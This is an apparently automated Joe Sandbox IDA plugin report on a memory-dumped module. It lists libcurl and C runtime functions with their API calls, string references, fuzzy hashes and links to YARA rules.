String ID: %sAuthorization: Negotiate %s$Curl_output_negotiate, no persistent authentication: cleanup existing context$HTTP$Negotiate auth restarted$Proxy-
API String ID: 3307269620-819322280
Opcode ID: e489e0eae87ce2d5eb39a0f60f79a278980c21ef3696f3ae3869fb877f665ec5
Instruction ID: 15133ecfccf4a06f428529f0b3823a93b79b064ad66da7789d187a18409683f4
Opcode Fuzzy Hash: e489e0eae87ce2d5eb39a0f60f79a278980c21ef3696f3ae3869fb877f665ec5
Instruction Fuzzy Hash: 5A91D5B1A04208DFEB11DF68D881BDEBBF5EF45354F0445AAE848D7200D77AA954CFA1

Function 6B6CD6C0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 188networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6B6CD874

Strings

We got a 421 - timeout!, xrefs: 6B6CD81E
*, xrefs: 6B6CD849
FTP response timeout, xrefs: 6B6CD8BA
QUOT string not accepted: %s, xrefs: 6B6CD89F
FTP response aborted due to select/poll error: %d, xrefs: 6B6CD87B

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast
String ID: *$FTP response aborted due to select/poll error: %d$FTP response timeout$QUOT string not accepted: %s$We got a 421 - timeout!
API String ID: 1452528299-2335292235
Opcode ID: aced101b6f0d2049144f8280082dd895e95f631225b49926e849827feab5913c
Instruction ID: 0874c80b2ea05d0c345062c39ef1b6625affef88698dffd48e7beb1c6405a3ec
Opcode Fuzzy Hash: aced101b6f0d2049144f8280082dd895e95f631225b49926e849827feab5913c
Instruction Fuzzy Hash: B15124B5E85208AFEF008E68DC817AF7BB5EF45315F1041B9ED18D7250F73996018BA6

Function 6B71F88C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 6B71F8E3
ext-ms-, xrefs: 6B71F8F7

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: ea50324db6cb33a320eb262a67188cc611bff2e55c1d81c7d3d287e11bfec9c1
Instruction ID: 681afcbb3768cec70ccecdb827ad89c17a90cd142cf2006036355d04afad0f03
Opcode Fuzzy Hash: ea50324db6cb33a320eb262a67188cc611bff2e55c1d81c7d3d287e11bfec9c1
Instruction Fuzzy Hash: E521C372D4D621BBDB21AE348E54B0E37A89F02BB0F190171FD65EF281D638E90186F0

Function 6B725EEE Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6B725EB6: _free.LIBCMT ref: 6B725EDB

_free.LIBCMT ref: 6B725F3C

Part of subcall function 6B71F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0), ref: 6B71F800
Part of subcall function 6B71F7EA: GetLastError.KERNEL32(6B7438A0,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0,6B7438A0), ref: 6B71F812

_free.LIBCMT ref: 6B725F47
_free.LIBCMT ref: 6B725F52
_free.LIBCMT ref: 6B725FA6
_free.LIBCMT ref: 6B725FB1
_free.LIBCMT ref: 6B725FBC
_free.LIBCMT ref: 6B725FC7

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a2040689eb20bcf9bb80bc7575afd7fe6432a9a444dbacbf3969c66c2c91fe63
Instruction ID: 8490015a070ff96eed6462e3e5e9600e50114ee79f8ef0ee00795db7fb838ca7
Opcode Fuzzy Hash: a2040689eb20bcf9bb80bc7575afd7fe6432a9a444dbacbf3969c66c2c91fe63
Instruction Fuzzy Hash: EB113AB1945B04EAE720FBB0DE4BFCB779DBF00705F840A25F39AAA055DB79A5048660

Function 6B6C6AC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 60COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%s%s%s%s%s%s%I64d%s%s,#HttpOnly_,6B72B98E,unknown,6B72B988,6B72B868,6B72B988,100C15FF,5D8B6B74,74DB8504,6B72B98E,00000000,00000000,00000000), ref: 6B6C6B55

Strings

FALSE, xrefs: 6B6C6B1E
unknown, xrefs: 6B6C6AD9, 6B6C6B45
TRUE, xrefs: 6B6C6B19
%s%s%s%s%s%s%I64d%s%s, xrefs: 6B6C6B50
#HttpOnly_, xrefs: 6B6C6B3A, 6B6C6B4F

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_maprintf
String ID: #HttpOnly_$%s%s%s%s%s%s%I64d%s%s$FALSE$TRUE$unknown
API String ID: 3307269620-3622669638
Opcode ID: 2b386d2d720d65f2000df3c4235a2cdee1005b524e700c303a5fada55f06d325
Instruction ID: b6c878719c8e8cf22689bdd9906113c44b7ae4378d0f324395a13a202c7a8512
Opcode Fuzzy Hash: 2b386d2d720d65f2000df3c4235a2cdee1005b524e700c303a5fada55f06d325
Instruction Fuzzy Hash: DB1182E0700149EFEB148A65DE86B56FBE9AF49290F044699FC88DB302D375FD80C7A1

Function 6B71E4BC Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(6B7192EA,00000000,?), ref: 6B71E504
__fassign.LIBCMT ref: 6B71E6E3
__fassign.LIBCMT ref: 6B71E700
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6B71E748
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6B71E788
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6B71E834

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 0ffd9e75a69c7097195ebbb27e89874d231e73db89907e2cbb00dec8f2fbe690
Instruction ID: 5b0f770223592078968f418f10d9eae993668fe6a03bff6fa5f66275dd11342b
Opcode Fuzzy Hash: 0ffd9e75a69c7097195ebbb27e89874d231e73db89907e2cbb00dec8f2fbe690
Instruction Fuzzy Hash: A7D1AB75D0525C9FDF15CFA8CA809EDBBB5BF49304F28006AE865BB241D734AA46CB60

Function 6B6ED1F0 Relevance: 9.3, APIs: 6, Instructions: 255COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED266
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED27A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED2CC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED2F9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED362
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED4C1

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: abeba5c7b734dbb949aebf491ab6ba2712da967b0e21801e9807bd08b76ab063
Instruction ID: 0bff210bac09aa0e82eeb767b7841219199910d940991a58711b988c8a7a733c
Opcode Fuzzy Hash: abeba5c7b734dbb949aebf491ab6ba2712da967b0e21801e9807bd08b76ab063
Instruction Fuzzy Hash: CBA1C2B5E452049FDB10DF68C981BAA7BB5FFC5318F1482B9EC1C9B245DB34A94187B0

Function 6B704F30 Relevance: 9.1, APIs: 6, Instructions: 104COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000004,?,?), ref: 6B70500B
VerSetConditionMask.KERNEL32(00000000,?,00000001,00000004,?,?), ref: 6B705012
VerSetConditionMask.KERNEL32(00000000,?,00000020,00000005,?,00000001,00000004,?,?), ref: 6B70501F
VerSetConditionMask.KERNEL32(00000000,?,00000010,00000005,?,00000020,00000005,?,00000001,00000004,?,?), ref: 6B705026
VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,00000005,?,00000020,00000005,?,00000001,00000004,?,?), ref: 6B705032
VerifyVersionInfoA.KERNEL32(0000009C,00000033,00000000), ref: 6B70503F

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion
String ID:
API String ID: 2793162063-0
Opcode ID: 21decbdcb315f7962a3fd6e15d39160b837ae5f06d18c8cc1e629239003f51eb
Instruction ID: 736ebeac5ada70eccc33d4d94b24a8db049dced31ea6db216668527ade236c80
Opcode Fuzzy Hash: 21decbdcb315f7962a3fd6e15d39160b837ae5f06d18c8cc1e629239003f51eb
Instruction Fuzzy Hash: FD3177B0B44358AEEF20CA388D49F9F7BF8AB56704F0400DAB54C67281C6749E548B66

Function 6B706410 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 343COMMON

Download Yara Rule

APIs

htonl.WS2_32(?), ref: 6B7065CA
htonl.WS2_32(?), ref: 6B706626

Part of subcall function 6B6F06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,$lnk), ref: 6B6F06EF
Part of subcall function 6B6F06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B6F072F

Strings

GSSAPI handshake failure (invalid security layer), xrefs: 6B7065BA
GSSAPI handshake failure (invalid security data), xrefs: 6B706583
GSSAPI handshake failure (empty security message), xrefs: 6B706561, 6B70681F

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: htonl$curl_msnprintfcurl_mvsnprintf
String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
API String ID: 3222853418-242323837
Opcode ID: c567ce8b3f6d7b30e7ab2bcfdc1552b5b83c68f89f7c84d50e5e888a505edcb7
Instruction ID: bb362314d800f6455e703211fc7a51064d1e5555f83308acc391911d4c65c96e
Opcode Fuzzy Hash: c567ce8b3f6d7b30e7ab2bcfdc1552b5b83c68f89f7c84d50e5e888a505edcb7
Instruction Fuzzy Hash: 57D157B5D00218DFCF10EFA8D955A9EBBF4FF09305F1040AAE819A7251DB3ADA55CB60

Function 6B6C95D0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 253COMMON

Download Yara Rule

Strings

/./, xrefs: 6B6C969B
../, xrefs: 6B6C967F
/.., xrefs: 6B6C9724
/../, xrefs: 6B6C96F5

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID: ../$/..$/../$/./
API String ID: 0-456519384
Opcode ID: 3a209b9355066934c384658341f916efc798c89429c54a47877f8fc6c87f77b4
Instruction ID: 74cc86f50262776a38eba761cb4f1e5dfc24a7a0adc735e7f0be7447b6d83bfe
Opcode Fuzzy Hash: 3a209b9355066934c384658341f916efc798c89429c54a47877f8fc6c87f77b4
Instruction Fuzzy Hash: A771E7E6E0D1819AD7131E3959957A3BFA6DB5324CFA800E5D8858B3C3E72BC509C273

Function 6B6C62C0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(Set-Cookie:,00000000,0000000B,?,?,?,?,?,?,?), ref: 6B6C6449
curl_slist_free_all.LIBCURL(?), ref: 6B6C64F5

Strings

Set-Cookie:, xrefs: 6B6C6444
none, xrefs: 6B6C632D, 6B6C6335
ignoring failed cookie_init for %s, xrefs: 6B6C6382

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_slist_free_allcurl_strnequal
String ID: Set-Cookie:$ignoring failed cookie_init for %s$none
API String ID: 2653667558-4095489131
Opcode ID: c04a9e43c608e988b8ab08cac2914bd87252cd6f4fd3f939b0895b11ed212d5f
Instruction ID: ed3494ca292fb18c0a6f8d9c21dc291b9d4c093fceeee73f01ce50949e314523
Opcode Fuzzy Hash: c04a9e43c608e988b8ab08cac2914bd87252cd6f4fd3f939b0895b11ed212d5f
Instruction Fuzzy Hash: 6E6104F1D04380AADB019F649842BBB7B75DF1670CF0880E4ED49AB242E77A9505C7AB

Function 6B6DE0E0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%sAuthorization: NTLM %s,Proxy-,00000000,?,?,?,?,?,?,00000000,?), ref: 6B6DE253

Strings

%sAuthorization: NTLM %s, xrefs: 6B6DE24E, 6B6DE2EC
HTTP, xrefs: 6B6DE0EF, 6B6DE20B
Proxy-, xrefs: 6B6DE245, 6B6DE24D, 6B6DE2E3, 6B6DE2EB

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_maprintf
String ID: %sAuthorization: NTLM %s$HTTP$Proxy-
API String ID: 3307269620-3667642693
Opcode ID: 3eeacf4ae96cf253503ce9e90f25a6b511ae178432059a97a03facbd9c23d962
Instruction ID: c290fb65f753eebe35d5ccdb10b9f771e1867b7ffc5628669f04274b051f7315
Opcode Fuzzy Hash: 3eeacf4ae96cf253503ce9e90f25a6b511ae178432059a97a03facbd9c23d962
Instruction Fuzzy Hash: 67714EB5A00209EFDF11DFA8D9417AEBBF4FB49305F1041AAE858E7250D775AA50CFA0

Function 6B6DDFD0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(NTLM,6B6DB6E6,00000004,00000DD0,?,?,?,6B6DB6E6,?,?,?,?,?,?,00000000,?), ref: 6B6DE00B

Strings

NTLM handshake rejected, xrefs: 6B6DE09B
NTLM, xrefs: 6B6DE003
NTLM handshake failure (internal error), xrefs: 6B6DE0C5
NTLM auth restarted, xrefs: 6B6DE040

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_strnequal
String ID: NTLM$NTLM auth restarted$NTLM handshake failure (internal error)$NTLM handshake rejected
API String ID: 482932555-2258391893
Opcode ID: 07539ba38f4b514307c445e9e9dcb94fbc29e759067e62cf3087dd2135495ad6
Instruction ID: d297fe22e99a46d020775a83e262795ef45ceac217235a4974b233311bf38f48
Opcode Fuzzy Hash: 07539ba38f4b514307c445e9e9dcb94fbc29e759067e62cf3087dd2135495ad6
Instruction Fuzzy Hash: F321E4F6A102056BEB105E74FC41B9ABBA9DF41268F144872FC48C7102E73AE665CAA0

Function 6B6F06B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

curl_mvsnprintf.LIBCURL(?,00000801,00000000,$lnk), ref: 6B6F06EF
curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B6F072F

Strings

..., xrefs: 6B6F0724
..., xrefs: 6B6F0718
$lnk, xrefs: 6B6F06DC, 6B6F06DF

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_msnprintfcurl_mvsnprintf
String ID: $lnk$...$...
API String ID: 4251218765-1176918924
Opcode ID: 8729573473bd4b6e7aa82df4a3a41634091421992d4ebf2fe0c30f7c340f632d
Instruction ID: 2a40773e4294824afb7e6e29f4e54f704e198f08044bcad58845c92fe6d444fa
Opcode Fuzzy Hash: 8729573473bd4b6e7aa82df4a3a41634091421992d4ebf2fe0c30f7c340f632d
Instruction Fuzzy Hash: 1A11E4B9904208AADF10CE28DC41BFD77AAEB01308F0441D9E89467141DB79A74BCBD0

Function 6B70DA40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

curl_getenv.LIBCURL(CURL_SSL_BACKEND,?,?,?,6B70CB27,00000000,6B6D692E), ref: 6B70DA73

Strings

CURL_SSL_BACKEND, xrefs: 6B70DA6E
PfskPfsk, xrefs: 6B70DA5A, 6B70DAB3, 6B70DACF

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_getenv
String ID: CURL_SSL_BACKEND$PfskPfsk
API String ID: 2452071183-279058013
Opcode ID: f9ce98a363ce68133fb2a38b3ae2f06576665933ad818902badb5edf2ac06ef1
Instruction ID: d6abead700d100f8d0f0ecb1a5c554a8fcd9190e927c1330d72a5ff6bfc7c8a0
Opcode Fuzzy Hash: f9ce98a363ce68133fb2a38b3ae2f06576665933ad818902badb5edf2ac06ef1
Instruction Fuzzy Hash: F7010CF36682014BDB049AA0B900B1B37E8EB8135AF05007BF829C3214EB39D651D755

Function 6B71C4C3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6B71C475,?,?,6B71C43D,?,00000000,?), ref: 6B71C4D8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6B71C4EB
FreeLibrary.KERNEL32(00000000,?,?,6B71C475,?,?,6B71C43D,?,00000000,?), ref: 6B71C50E

Strings

mscoree.dll, xrefs: 6B71C4D1
CorExitProcess, xrefs: 6B71C4E3

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fd514d9c233de41f0ad442f82b1d50f36bef37a2764034177f1dad18ee58fc43
Instruction ID: c0c5a2e2f0e8c37def13508468120f28c15a222ddf030fb2bdbb48d959e838f4
Opcode Fuzzy Hash: fd514d9c233de41f0ad442f82b1d50f36bef37a2764034177f1dad18ee58fc43
Instruction Fuzzy Hash: D2F01231504118FBDF019BA1C909B9E7F64EB0575AF200075B811A5151DB35EF01DAA0

Function 6B725E4D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6B725E65

Part of subcall function 6B71F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0), ref: 6B71F800
Part of subcall function 6B71F7EA: GetLastError.KERNEL32(6B7438A0,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0,6B7438A0), ref: 6B71F812

_free.LIBCMT ref: 6B725E77
_free.LIBCMT ref: 6B725E89
_free.LIBCMT ref: 6B725E9B
_free.LIBCMT ref: 6B725EAD

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1ea4897fc4f80f714bb10ef4181ae0f2cfffe0459d1faac63faac4481c569560
Instruction ID: ea0c1e86433772410c5e793d649ef244ac668b12abb59761bea8836ce381bda0
Opcode Fuzzy Hash: 1ea4897fc4f80f714bb10ef4181ae0f2cfffe0459d1faac63faac4481c569560
Instruction Fuzzy Hash: 60F04F719186049F8B14EA74E3D6D1F33E9BA002157940C6AF128EF508D778F8808AB4

Function 6B6C5C60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 335COMMON

Download Yara Rule

APIs

Part of subcall function 6B6C6970: inet_pton.WS2_32(00000002,?,?), ref: 6B6C699A
Part of subcall function 6B6C6970: inet_pton.WS2_32(00000017,?,?), ref: 6B6C69AB

inet_pton.WS2_32(00000002,?,?), ref: 6B6C5CC3
inet_pton.WS2_32(00000017,?,?), ref: 6B6C5CD2
___from_strstr_to_strchr.LIBCMT ref: 6B6C5D8E

Strings

/, xrefs: 6B6C5DAD

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
